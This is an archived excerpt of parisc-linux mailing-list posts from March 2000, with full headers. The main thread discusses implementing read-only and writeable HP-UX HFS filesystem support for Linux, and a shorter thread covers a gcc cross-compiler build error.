X-Trace: ger.gmane.org 1416618822 31053 80.91.229.3 (22 Nov 2014 01:13:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ncc@cs.mcgill.ca  Thu Mar  9 18:34:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA25568
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Mar 2000 18:34:23 -0700
Original-Received: (qmail 8810 invoked by uid 15267); 10 Mar 2000 00:35:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8795 invoked from network); 10 Mar 2000 00:35:36 -0000
Original-Received: from ariadne.cs.mcgill.ca (root@132.206.2.78)
  by mailserv2.iuinc.com with SMTP; 10 Mar 2000 00:35:36 -0000
Original-Received: (from ncc@localhost)
	by ariadne.cs.mcgill.ca (8.9.3/8.9.3/Debian/GNU) id TAA03487
	for parisc-linux@thepuffingroup.com; Thu, 9 Mar 2000 19:35:36 -0500
X-Mailer: Mutt 0.93.2i
Xref: news.gmane.org gmane.linux.ports.parisc:6992

(I sent this to Alex deVries and didn't get a response, so I figured I'd
give this list a try instead.)

I'm interested in the possibility of doing a linux module to mount HFS
filesystems (read-only would satisfy me I think, and is a reasonable
target.)  

I realize that the port is still in its very early stages, so
I intend to develop the module on the i386 platform and then worry
about getting it working on pa-risc.

I'm hoping you can tell me

- if anyone else is already working on this

- if you think the man pages and the white paper might be insufficient
  for the implementation; they look adequate to me, but I've never
  written a file-system driver before

- if you think it's worth the effort, given that I expect HP-UX systems
  are using LVM now and I don't feel up to the task of trying to handle
  that


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HFS linux implementation
Date: Thu, 09 Mar 2000 17:37:32 -0800
Lines: 53
Approved: news@gmane.org
Message-ID: <200003100137.RAA09015@milano.cup.hp.com>
References: <20000309193535.C3423@cs.mcgill.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618823 31054 80.91.229.3 (22 Nov 2014 01:13:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Nick Cabatoff <ncc@cs.mcgill.ca>
Original-X-From: grundler@cup.hp.com  Thu Mar  9 19:34:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA25871
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Mar 2000 19:34:40 -0700
Original-Received: (qmail 10862 invoked by uid 15267); 10 Mar 2000 01:35:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10851 invoked from network); 10 Mar 2000 01:35:53 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 10 Mar 2000 01:35:53 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id D094B13A; Thu,  9 Mar 2000 17:35:52 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id RAA09015; Thu, 9 Mar 2000 17:37:37 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 09 Mar 2000 19:35:35 PST."
             <20000309193535.C3423@cs.mcgill.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6993

Nick Cabatoff wrote:
> (I sent this to Alex deVries and didn't get a response, so I figured I'd
> give this list a try instead.)

Poor Alex is pretty busy right now...

> I'm interested in the possibility of doing a linux module to mount HFS
> filesystems (read-only would satisfy me I think, and is a reasonable
> target.)  
> 
> I realize that the port is still in its very early stages, so
> I intend to develop the module on the i386 platform and then worry
> about getting it working on pa-risc.

Should work.

> 
> I'm hoping you can tell me
> 
> - if anyone else is already working on this

I didn't see it listed on:
	http://www.thepuffingroup.com/parisc/status.html
> 
> - if you think the man pages and the white paper might be insufficient
>   for the implementation; they look adequate to me, but I've never
>   written a file-system driver before

no clue. But someone has taken a look at this before and
concluded it was do-able. And you might check if other open
source parisc ports have already done it (eg OpenBSD or mklinux).

As a side note, don't confused HP's HFS with Apple's.
I'm not sure of what to call HP's since Apple HFS support was first.
Perhaps the other ports have set precedence for this.

> - if you think it's worth the effort, given that I expect HP-UX systems
>   are using LVM now and I don't feel up to the task of trying to handle
>   that

Yes. Most older workstations use HFS on wholedisk. HFS can be used
on disks > 4GB without LVM. I avoid LVM whenever I can. It's easier
to physically move disks from one host to another without LVM.
I only use LVM when the boot file system is on a disk > 2GB.


thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Cabatoff <ncc@cs.mcgill.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HFS linux implementation
Date: Fri, 10 Mar 2000 01:09:49 -0500
Organization: SOCS, McGill University, Montreal, CANADA
Lines: 50
Approved: news@gmane.org
Message-ID: <20000310010949.A14656@cs.mcgill.ca>
References: <20000309193535.C3423@cs.mcgill.ca> <200003100137.RAA09015@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618823 31057 80.91.229.3 (22 Nov 2014 01:13:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ncc@milquetoast.cs.mcgill.ca  Fri Mar 10 00:08:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA27587
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Mar 2000 00:08:37 -0700
Original-Received: (qmail 2903 invoked by uid 15267); 10 Mar 2000 06:09:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2896 invoked from network); 10 Mar 2000 06:09:50 -0000
Original-Received: from milquetoast.cs.mcgill.ca (132.206.2.5)
  by mailserv2.iuinc.com with SMTP; 10 Mar 2000 06:09:50 -0000
Original-Received: (from ncc@localhost)
	by milquetoast.cs.mcgill.ca (8.9.3/8.9.3) id BAA14833
	for parisc-linux@thepuffingroup.com; Fri, 10 Mar 2000 01:09:50 -0500 (EST)
X-Mailer: Mutt 0.94.15i
In-Reply-To: Grant Grundler's message [Re: [parisc-linux] HFS linux implementation] as of Thu, Mar 09, 2000 at 05:37:32PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6994

On Mar 09, Grant Grundler wrote:
> Nick Cabatoff wrote:
> > (I sent this to Alex deVries and didn't get a response, so I figured I'd
> > give this list a try instead.)
> 
> Poor Alex is pretty busy right now...

That's what I gathered.  In any event the list was a better target for
my question I think.

> concluded it was do-able. And you might check if other open
> source parisc ports have already done it (eg OpenBSD or mklinux).

I didn't know there were any *BSD ports; I'm pretty sure mklinux didn't
get that far, based on what I looked at last year.  That's a good
thought though, thanks.  I'll see what I can find.

> As a side note, don't confused HP's HFS with Apple's.
> I'm not sure of what to call HP's since Apple HFS support was first.
> Perhaps the other ports have set precedence for this.

Actually, it looks like just stock UFS with ACL support, as far as I can
see.  Even that's kind of optional; many sites don't use ACLs at all
(hell, dump/restore don't know about them), and it looks like a
read-only implementation that just ignored them would work fine.  I
think that would be almost too easy given the existing linux UFS module
though, so once that much is working I'll probably do a writeable
version that preserves ACLs, even if it doesn't allow you to work with
them.

I think it also may be compatible with OSF/1's UFS (based on an
include-file comment), so this implementation would kill two birds with
one stone.

> > - if you think it's worth the effort, given that I expect HP-UX
> > systems are using LVM now and I don't feel up to the task of trying
> > to handle that
> 
> Yes. Most older workstations use HFS on wholedisk. HFS can be used on
> disks > 4GB without LVM. I avoid LVM whenever I can. It's easier to
> physically move disks from one host to another without LVM.  I only
> use LVM when the boot file system is on a disk > 2GB.

Ah, glad to see I was overgeneralizing from my own experience.  I've had
some bad luck with LVM on root disks myself, but I'm philosophically
opposed to having single-filesystem machines (i.e., I want seperate /var
and /tmp directories), so I stick with it.  <sigh>  I'm kind of
mystified why HP would've waited for LVM to allow multiple filesystems
on a single disk; what's so bad about partition tables?


From - Thu Nov 08 21:12:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HFS linux implementation
Date: Thu, 09 Mar 2000 23:30:57 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <200003100731.XAA09162@milano.cup.hp.com>
References: <20000310010949.A14656@cs.mcgill.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618823 31062 80.91.229.3 (22 Nov 2014 01:13:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Nick Cabatoff <ncc@cs.mcgill.ca>
Original-X-From: grundler@cup.hp.com  Fri Mar 10 01:28:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA28142
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Mar 2000 01:28:03 -0700
Original-Received: (qmail 29947 invoked by uid 15267); 10 Mar 2000 07:29:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29938 invoked from network); 10 Mar 2000 07:29:16 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 10 Mar 2000 07:29:16 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 154DB1B5A; Fri, 10 Mar 2000 02:29:16 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id XAA09162; Thu, 9 Mar 2000 23:31:00 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 10 Mar 2000 01:09:49 PST."
             <20000310010949.A14656@cs.mcgill.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6995


getting a bit off track here...

Nick Cabatoff wrote:
> <sigh>  I'm kind of
> mystified why HP would've waited for LVM to allow multiple filesystems
> on a single disk; what's so bad about partition tables?

You have to know about HP's "hard" partition scheme.
It was a pain to support. Every new disk required a new entry
in the kernel's partition table. yes, I said Kernel. It's not
stored on the disk. And that was delivered as a patch. 'nuf said.
That's why LVM is better than "partion tables".

Since LVM was "on the roadmap" anyway, HP decided to depend LVM
to provide "soft" portitioning (ie partition tables stored on the
media) instead of something like the PC's use.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HFS linux implementation
Date: 10 Mar 2000 09:33:58 +0100
Organization: mkp.net
Lines: 20
Approved: news@gmane.org
Message-ID: <yq1put3xlzd.fsf@leyland.socsci.auc.dk>
References: <20000309193535.C3423@cs.mcgill.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618824 31064 80.91.229.3 (22 Nov 2014 01:13:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Nick Cabatoff <ncc@cs.mcgill.ca>
Original-X-From: mkp@socsci.auc.dk  Fri Mar 10 02:32:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA28696
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Mar 2000 02:32:48 -0700
Original-Received: (qmail 19935 invoked by uid 15267); 10 Mar 2000 08:34:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19928 invoked from network); 10 Mar 2000 08:34:01 -0000
Original-Received: from bentley.socsci.auc.dk (130.225.60.48)
  by mailserv2.iuinc.com with SMTP; 10 Mar 2000 08:34:01 -0000
Original-Received: from leyland.socsci.auc.dk ([130.225.60.69])
	by bentley.socsci.auc.dk with esmtp (Exim 3.11 #3)
	id 12TKpm-0002ds-00; Fri, 10 Mar 2000 09:31:46 +0100
Original-Received: (from mkp@localhost)
	by leyland.socsci.auc.dk (8.9.3+Sun/8.9.1) id JAA20344;
	Fri, 10 Mar 2000 09:33:58 +0100 (MET)
Original-Sender: mkp@socsci.auc.dk
In-Reply-To: Nick Cabatoff's message of "Thu, 9 Mar 2000 19:35:35 -0500"
Original-Lines: 19
User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) XEmacs/21.1 (Bryce Canyon)
Xref: news.gmane.org gmane.linux.ports.parisc:6996

>>>>> "Nick" == Nick Cabatoff <ncc@cs.mcgill.ca> writes:

Hi Nick,

Nick> I'm interested in the possibility of doing a linux module to
Nick> mount HFS filesystems (read-only would satisfy me I think, and
Nick> is a reasonable target.)

I implemented read only hfs support in the early days of the PA-RISC
port.  It appears my ufs changes didn't get merged in when we moved
from 2.2 to 2.3, though.  Will fix...

One of Paul Bame's colleagues looked into implementing write support
at some point, but I don't know status on that project.  Paul?

-- 
Martin K. Petersen, Principal Linux Consultant, Linuxcare, Inc.
mkp@mkp.net, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Cabatoff <ncc@cs.mcgill.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HFS linux implementation
Date: Fri, 10 Mar 2000 10:59:21 -0500
Organization: SOCS, McGill University, Montreal, CANADA
Lines: 21
Approved: news@gmane.org
Message-ID: <20000310105921.C23018@cs.mcgill.ca>
References: <20000309193535.C3423@cs.mcgill.ca> <yq1put3xlzd.fsf@leyland.socsci.auc.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618824 31072 80.91.229.3 (22 Nov 2014 01:13:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ncc@milquetoast.cs.mcgill.ca  Fri Mar 10 09:58:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA31184
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Mar 2000 09:58:21 -0700
Original-Received: (qmail 6321 invoked by uid 15267); 10 Mar 2000 15:59:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6261 invoked from network); 10 Mar 2000 15:59:29 -0000
Original-Received: from milquetoast.cs.mcgill.ca (132.206.2.5)
  by mailserv2.iuinc.com with SMTP; 10 Mar 2000 15:59:29 -0000
Original-Received: (from ncc@localhost)
	by milquetoast.cs.mcgill.ca (8.9.3/8.9.3) id KAA23296
	for parisc-linux@thepuffingroup.com; Fri, 10 Mar 2000 10:59:21 -0500 (EST)
X-Mailer: Mutt 0.94.15i
In-Reply-To: Martin K. Petersen's message [Re: [parisc-linux] HFS linux implementation] as of Fri, Mar 10, 2000 at 09:33:58AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6997

On Mar 10, Martin K. Petersen wrote:
> Nick> I'm interested in the possibility of doing a linux module to
> Nick> mount HFS filesystems (read-only would satisfy me I think, and
> Nick> is a reasonable target.)
> 
> I implemented read only hfs support in the early days of the PA-RISC
> port.  It appears my ufs changes didn't get merged in when we moved
> from 2.2 to 2.3, though.  Will fix...

Could I get a copy of the 2.2 version to satisfy my curiosity?

> One of Paul Bame's colleagues looked into implementing write support
> at some point, but I don't know status on that project.  Paul?

Since (expirimental) writeable UFS exists in the current kernel, and I
assume your implementation is a patch to the existing UFS code, I
don't imagine it would be difficult.  I'll try and do it if the person
you mention doesn't have time.

Is there any point in doing ACLs if you haven't already?


From - Thu Nov 08 21:12:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HFS linux implementation
Date: Fri, 10 Mar 2000 11:04:04 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20000310110404.M27942@thepuffingroup.com>
References: <20000309193535.C3423@cs.mcgill.ca> <yq1put3xlzd.fsf@leyland.socsci.auc.dk> <20000310105921.C23018@cs.mcgill.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618824 31076 80.91.229.3 (22 Nov 2014 01:13:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Nick Cabatoff <ncc@cs.mcgill.ca>
Original-X-From: willy@thepuffingroup.com  Fri Mar 10 10:03:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA31505
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Mar 2000 10:03:23 -0700
Original-Received: (qmail 10589 invoked by uid 15267); 10 Mar 2000 16:04:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10581 invoked from network); 10 Mar 2000 16:04:36 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 10 Mar 2000 16:04:36 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA02532;
	Fri, 10 Mar 2000 11:04:05 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000310105921.C23018@cs.mcgill.ca>; from Nick Cabatoff on Fri, Mar 10, 2000 at 10:59:21AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6998

On Fri, Mar 10, 2000 at 10:59:21AM -0500, Nick Cabatoff wrote:
> Could I get a copy of the 2.2 version to satisfy my curiosity?

sure.  cvs co linux gets you the linux 2.2.12 tree we were working on.

> Is there any point in doing ACLs if you haven't already?

linux doesn't currently support acls.  there's no interface for setting
or accessing acls.


From - Thu Nov 08 21:12:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Cabatoff <ncc@cs.mcgill.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HFS linux implementation
Date: Fri, 10 Mar 2000 11:35:29 -0500
Organization: SOCS, McGill University, Montreal, CANADA
Lines: 16
Approved: news@gmane.org
Message-ID: <20000310113529.F23018@cs.mcgill.ca>
References: <20000309193535.C3423@cs.mcgill.ca> <yq1put3xlzd.fsf@leyland.socsci.auc.dk> <20000310105921.C23018@cs.mcgill.ca> <20000310110404.M27942@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618825 31332 80.91.229.3 (22 Nov 2014 01:13:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ncc@milquetoast.cs.mcgill.ca  Fri Mar 10 10:34:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA31952
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Mar 2000 10:34:28 -0700
Original-Received: (qmail 5857 invoked by uid 15267); 10 Mar 2000 16:35:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5818 invoked from network); 10 Mar 2000 16:35:41 -0000
Original-Received: from milquetoast.cs.mcgill.ca (132.206.2.5)
  by mailserv2.iuinc.com with SMTP; 10 Mar 2000 16:35:41 -0000
Original-Received: (from ncc@localhost)
	by milquetoast.cs.mcgill.ca (8.9.3/8.9.3) id LAA24029
	for parisc-linux@thepuffingroup.com; Fri, 10 Mar 2000 11:35:29 -0500 (EST)
X-Mailer: Mutt 0.94.15i
In-Reply-To: willy@thepuffingroup.com's message [Re: [parisc-linux] HFS linux implementation] as of Fri, Mar 10, 2000 at 11:04:04AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6999

On Mar 10, willy@thepuffingroup.com wrote:
> On Fri, Mar 10, 2000 at 10:59:21AM -0500, Nick Cabatoff wrote:
> > Could I get a copy of the 2.2 version to satisfy my curiosity?
> 
> sure.  cvs co linux gets you the linux 2.2.12 tree we were working on.

Okay, I'll take a look, thanks.

> > Is there any point in doing ACLs if you haven't already?
> 
> linux doesn't currently support acls.  there's no interface for setting
> or accessing acls.

There is one that hasn't made it into the stock kernel yet at
http://acl.bestbits.at.


From - Thu Nov 08 21:12:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: blacky@xanaxis.dyndns.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] undefined reference in libgcc.a
Date: Sat, 11 Mar 2000 19:13:39 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <MDAEMON80008200003111913.AA1339046@xanaxis.dyndns.org>
Reply-To: blacky@xanaxis.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416618825 31338 80.91.229.3 (22 Nov 2014 01:13:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:45 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: blacky@xanaxis.dyndns.org  Sat Mar 11 12:12:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA08233
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Mar 2000 12:12:02 -0700
Original-Received: (qmail 2601 invoked by uid 15267); 11 Mar 2000 18:13:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2585 invoked from network); 11 Mar 2000 18:13:17 -0000
Original-Received: from k2ms315.dial.kabelfoon.nl (HELO xanaxis.dyndns.org) (212.136.91.61)
  by mailserv2.iuinc.com with SMTP; 11 Mar 2000 18:13:17 -0000
Original-Received: from xanaxis.dyndns.org by xanaxis.dyndns.org with RAW (MDaemon.v2.7.SP4.R) for <parisc-linux@thepuffingroup.com>; Sat, 11 Mar 2000 19:13:39 +0100
X-MDaemon-Deliver-To: parisc-linux@thepuffingroup.com
X-Actual-From: blacky@xanaxis.dyndns.org
X-Mailer: WebPOP v2.0 Service Pack 1
Xref: news.gmane.org gmane.linux.ports.parisc:7001

hiya all,

I've been trying to make a parisc-linux crosscompiler from a
i586-linux-gnu platform, the binutils build with no problems, but
at the final stage of building gcc it stops at the libgcc-test
with the following error :

libgcc1-test.o: In function `main_without__main':
/home/blacky/cvs/build/gcc/../../gcc/gcc/libgcc1-test.c:20: undefined reference to `$global$'

it seems to reference to the integer-divide function in libgcc.

How can I get around this problem ?

thanx in advance,

Signed, Marco van den Heuvel



From - Thu Nov 08 21:12:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] undefined reference in libgcc.a
Date: Sat, 11 Mar 2000 19:22:26 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20000311192226.D5281@abacus.local>
References: <MDAEMON80008200003111913.AA1339046@xanaxis.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618826 31340 80.91.229.3 (22 Nov 2014 01:13:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:46 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: blacky@xanaxis.dyndns.org
Original-X-From: prumpf@inwestnet.de  Sat Mar 11 12:22:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA08541
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Mar 2000 12:22:06 -0700
Original-Received: (qmail 6810 invoked by uid 15267); 11 Mar 2000 18:23:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6803 invoked from network); 11 Mar 2000 18:23:22 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 11 Mar 2000 18:23:22 -0000
Original-Received: (qmail 29710 invoked from network); 11 Mar 2000 18:23:19 -0000
Original-Received: from port0946.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.184)
  by mail.ginko.net with SMTP; 11 Mar 2000 18:23:19 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id TAA01533;
	Sat, 11 Mar 2000 19:23:27 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <MDAEMON80008200003111913.AA1339046@xanaxis.dyndns.org>; from blacky@xanaxis.dyndns.org on Sat, Mar 11, 2000 at 07:13:39PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7002

> I've been trying to make a parisc-linux crosscompiler from a
> i586-linux-gnu platform, the binutils build with no problems, but
> at the final stage of building gcc it stops at the libgcc-test
> with the following error :
> 
> libgcc1-test.o: In function `main_without__main':
> /home/blacky/cvs/build/gcc/../../gcc/gcc/libgcc1-test.c:20: undefined reference to `$global$'
> 
> it seems to reference to the integer-divide function in libgcc.
> 
> How can I get around this problem ?

The Easy Way:  remove the rule to build libgcc1-test out of the gcc Makefile.

AIUI, the right way would be to supply a crt1.o (or similar) that defines
$global$, _start aso.

	Philipp Rumpf


From - Thu Nov 08 21:12:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] .depend file for drivers/gsc?
Date: Sat, 11 Mar 2000 11:30:53 -0800 (PST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200003111930.LAA10732@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618826 31343 80.91.229.3 (22 Nov 2014 01:13:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Mar 11 13:27:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA08837
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Mar 2000 13:27:56 -0700
Original-Received: (qmail 1346 invoked by uid 15267); 11 Mar 2000 19:29:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1336 invoked from network); 11 Mar 2000 19:29:12 -0000
